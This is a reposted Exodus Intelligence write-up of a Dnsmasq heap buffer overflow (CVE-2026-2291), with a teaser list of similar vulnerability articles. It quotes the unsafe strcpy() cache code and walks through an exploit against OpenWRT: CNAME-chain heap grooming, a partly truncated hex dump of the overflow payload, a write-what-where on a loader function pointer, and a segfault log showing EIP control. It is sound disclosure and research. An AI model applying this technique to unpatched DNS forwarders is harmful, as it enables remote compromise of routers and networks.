@Dinosn: Dnsmasq DNS Remote Heap Buffer Overflow
Summary
A heap buffer overflow vulnerability in Dnsmasq (CVE-2026-2291) allows remote code execution via a malicious upstream DNS server. The issue was introduced in version 2.73 and fixed in 2.92rel2 and 2.93.
View Cached Full Text
Cached at: 07/21/26, 12:42 PM
Dnsmasq DNS Remote Heap Buffer Overflow https://t.co/0Xhrn6AUoa
Dnsmasq DNS Remote Heap Buffer Overflow - Exodus Intelligence
Source: https://blog.exodusintel.com/2026/07/20/dnsmasq-dns-remote-heap-buffer-overflow/ By David Barksdale
In this blog post, we discuss a heap buffer overflow vulnerability that we found in Dnsmasq. This vulnerability was fixed in version 2.92rel2 and 2.93 on 11 May 2026 and assignedCVE-2026-2291.
We cover the technical analysis of the vulnerability and how we exploited it to gain remote code execution on a OpenWRT target that is configured with a malicious upstream DNS server. Our customers had access to this research before it was independently discovered and released publicly.
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#The-Breaking-ChangeThe Breaking Change
The vulnerability was introduced in release 2.73 with the following change:
commit cbe379ad6b52a538a4416a7cd992817e5637ccf9 (tag: v2.73rc5)
Author: Simon Kelley <[email protected]>
Date: Tue Apr 21 22:57:06 2015 +0100
Handle domain names with '.' or /000 within labels.
Only in DNSSEC mode, where we might need to validate or store
such names. In none-DNSSEC mode, simply don't cache these, as before.
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#The-VulnerabilityThe Vulnerability
When Dnsmasq processes a reply from an upstream DNS server it will convert the domain names from DNS wire-format to C strings. In the above code change the format of the C string was modified to include an escape sequence for nulls (0x00), periods (0x2E), and the new escape character (0x01), potentially doubling the length of the storage required. Most fixed-length buffers for storing these strings were expanded except for the ones used in the caching system.
The caching system uses a buffer calledbignamewhich is only 1,025 bytes in length. When Dnsmasq is caching the resource records in the answer section in a reply from an upstream DNS server, these heap-allocated buffers can be overflowed if their escaped forms exceed 1,025 bytes.
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Unsafe-strcpyUnsafe strcpy()
The root cause of the vulnerability is an unsafestrcpy\(\)when a domain name is cached. Based on the size of the domain name string the name is either stored in a 50-byte buffer (sname) or a 1,025-byte buffer (bigname). The length of the string is not checked to ensure it does not exceed the size of thebignamebuffer. Thereally\_insert\(\)function listed below calls the unsafestrcpy\(\).
// src/cache.c
static struct crec *really_insert(char *name, union all_addr *addr, unsigned short class,
time_t now, unsigned long ttl, unsigned int flags)
{
struct crec *new, *target_crec = NULL;
union bigname *big_name = NULL;
int freed_all = (flags & F_REVERSE);
struct crec *free_avail = NULL;
unsigned int target_uid;
[Truncated]
/* Check if we need to and can allocate extra memory for a long name.
If that fails, give up now, always succeed for DNSSEC records. */
[1]
if (name && (strlen(name) > SMALLDNAME-1))
{
if (big_free)
{
[2] big_name = big_free;
big_free = big_free->next;
}
else if ((bignames_left == 0 && !(flags & (F_DS | F_DNSKEY))) ||
[3] !(big_name = (union bigname *)whine_malloc(sizeof(union bigname))))
{
insert_error = 1;
return NULL;
}
else if (bignames_left != 0)
bignames_left--;
}
/* If we freed a cache entry for our name which was a CNAME target, use that.
and preserve the uid, so that existing CNAMES are not broken. */
if (target_crec)
{
new = target_crec;
new->uid = target_uid;
}
/* Got the rest: finally grab entry. */
cache_unlink(new);
new->flags = flags;
if (big_name)
{
[4] new->name.bname = big_name;
new->flags |= F_BIGNAME;
}
if (name)
[5] strcpy(cache_get_name(new), name);
else
*cache_get_name(new) = 0;
At [1] the length of thenamestring is used to determine if abignamebuffer is needed. If the length is greater thanSMALLDNAME\-1(49) the code then allocates abignamebuffer by either removing one from a free list [2] or allocating a new one from the heap [3]. At [4] the allocated bufferbig\_nameis stored in the cache record and theF\_BIGNAMEflag is set. At [5] thecache\_get\_name\(\)function returns thebignamebuffer from the cache record andstrcpy\(\)copies thenamestring to it. Since thenamestring may be larger than the 1,025-byte buffer, thisstrcpy\(\)may overflow the heap buffer.
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#ExploitationExploitation
To demonstrate an exploit we select a VM running the generic x86 build of OpenWRT version 24.10.4 as our target. The target system is configured to use our malicious server as the upstream DNS server. To exploit the vulnerability a client makes a series of DNS requests to the target:alloc\.me,overflow\.me, andoverwrite\.me.
The exploit uses the heap overflow vulnerability to overwrite thenextpointer of anotherbignamebuffer which is on thebig\_freefree list. It then uses the normal operation of the cache system to write attacker-controlled data to an attacker-controlled address by allocating the corruptbignamebuffer from the free list and writing to it withstrcpy\(\). The exploit uses this to overwrite a function pointer in the muslld\.solibrary. The exploit then triggers the function call leading to EIP control. These steps are described in more detail in the following subsections.
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Heap-and-Free-List-PreparationHeap and Free List Preparation
The exploit needs to prepare twobignamebuffers on thebig\_freelist which are adjacent in memory. It does this by responding to thealloc\.meDNS request with an answer of a chain of CNAME records that are each larger than 50 bytes. The chain is long enough to use up free heap blocks that aren’t adjacent so that the last two buffers are. The DNS answer has theCDbit set in the header which causes Dnsmasq to not cache the answer. This causes the allocatedbignamebuffers to be inserted in thebig\_freelist to be allocated by the next step.
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4345
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;alloc.me. IN A
;; ANSWER SECTION:
alloc.me. 60 IN CNAME AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. 60 IN CNAME BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB. 60 IN CNAME CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC.
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC. 60 IN CNAME DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD.
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD. 60 IN CNAME invalid.
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Heap-OverflowHeap Overflow
The exploit then responds to theoverflow\.meDNS request with another chain of CNAME records. The first few records serve to allocate the unwantedbignamebuffers from thebig\_freelist, followed by the overflow payload. This payload will overflow its buffer into the next which is still on thebig\_freelist. The first four bytes of a buffer on the free list are thenextpointer. The value overwritten here is the “where” for the write-what-where gadget.
Note: Since thebignamebuffers are neverfree\(\)‘d libc heap corruption will not be detected.
;; Got bad packet: name too long
895 bytes
ce d8 85 80 00 01 00 04 00 00 00 00 08 6f 76 65 .............ove
72 66 6c 6f 77 02 6d 65 00 00 01 00 01 c0 0c 00 rflow.me........
05 00 01 00 00 00 3c 00 41 3f 58 58 58 58 58 58 ......<.A?XXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 00 c0 29 00 05 00 01 XXXXXXXXX..)....
00 00 00 3c 00 41 3f 59 59 59 59 59 59 59 59 59 ...<.A?YYYYYYYYY
59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 YYYYYYYYYYYYYYYY
59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 YYYYYYYYYYYYYYYY
59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 YYYYYYYYYYYYYYYY
59 59 59 59 59 59 00 c0 76 00 05 00 01 00 00 00 YYYYYY..v.......
3c 02 ac 3f 01 01 01 01 01 01 01 01 01 01 01 01 <..?............
[Truncated]
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 05 5a a8 f2 f8 b7 00 c0 .........Z......
c3 00 01 00 01 00 00 00 3c 00 04 01 02 03 04 ........<......
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Write-What-WhereWrite-What-Where
The exploit then responds to theoverwrite\.meDNS request with a chain of two CNAME records. The first one allocates the corruptedbignamebuffer, causing the attacker-controllednextpointer to be written to thebig\_freelist-head pointer. The second CNAME then uses this pointer as itsbignamepointer andstrcpy\(\)is called to write its contents to that address. The exploit targets theVDSO\_CGT32\_SYMpointer at offset0x812a8from the base address ofld\.so.
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6593
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0
dig: Bad ACE string '\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$.' (domain label longer than 63 characters)
https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#EIP-ControlEIP Control
The next packet received by Dnsmasq causes the overwritten function pointer to be called, giving the attacker EIP control. If this capability is chained with other primitives, such as an information leak, a functional exploit can be obtained.
[ 8765.451591] dnsmasq[2760]: segfault at 61616161 ip 61616161 sp bfea354c error 4 likely on CPU 0 (core 0, socket 0)
[ 8765.457884] Code: Unable to access opcode bytes at 0x61616137.
About Exodus Intelligence
Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild. Our researchers create and use in-house agentic AI tooling to supplement parts of their vulnerability research and exploit development workflow. In addition to efficiency gains, we’re able to ensure AI-enabled research output maintains the same standards of quality as traditional research.
For more information on our products and how we can help your vulnerability efforts, visitwww.exodusintel.comor contact[email protected]for further discussion.
Similar Articles
"six CVEs for serious security vulnerabilities in dnsmasq"
Six serious security vulnerabilities (CVEs) have been identified in dnsmasq, affecting most non-ancient versions. Simon Kelley has released version 2.92rel2 with patches and announced plans for an imminent 2.93 release to address these long-standing bugs.
New Nginx Exploit
A critical heap buffer overflow vulnerability in Nginx's rewrite module (CVE-2026-42945) allows unauthenticated remote code execution, with a proof-of-concept exploit released. The bug affects Nginx versions from 0.6.27 to 1.30.0 and various Nginx Plus releases.
Achieving NGINX Remote Code Execution via an 18-Year-Old Vulnerability
Researchers used an autonomous system to discover a critical heap buffer overflow vulnerability in NGINX's rewrite module (CVE-2026-42945), present since 2008, enabling remote code execution. Multiple CVEs were confirmed by NGINX.
PwnEscape: Guest-to-Host KVM Escape (CVE-2026-99999)
Pwn.ai researchers detail CVE-2026-99999, a critical Linux networking flaw that allowed guest-controlled checksum metadata to rewrite IPv4 headers after validation, escalating from a 32-byte host-memory disclosure to a full guest-to-host KVM escape discovered during Vercel's $1 million Sandbox challenge.
CVE-2026-98432: Linux TCP Use-After-Free Risk and Patch Validation
CVE-2026-98432 is a use-after-free in the Linux kernel's IPv4 TCP handshake path that could allow remote exploitation, with a Linux CNA CVSS of 9.8 and Red Hat's preliminary 8.1 score, while Anthropic's Frontier Red Team demonstrated remote root execution against an MPTCP listener; the article reviews patch validation and distribution-specific remediation steps.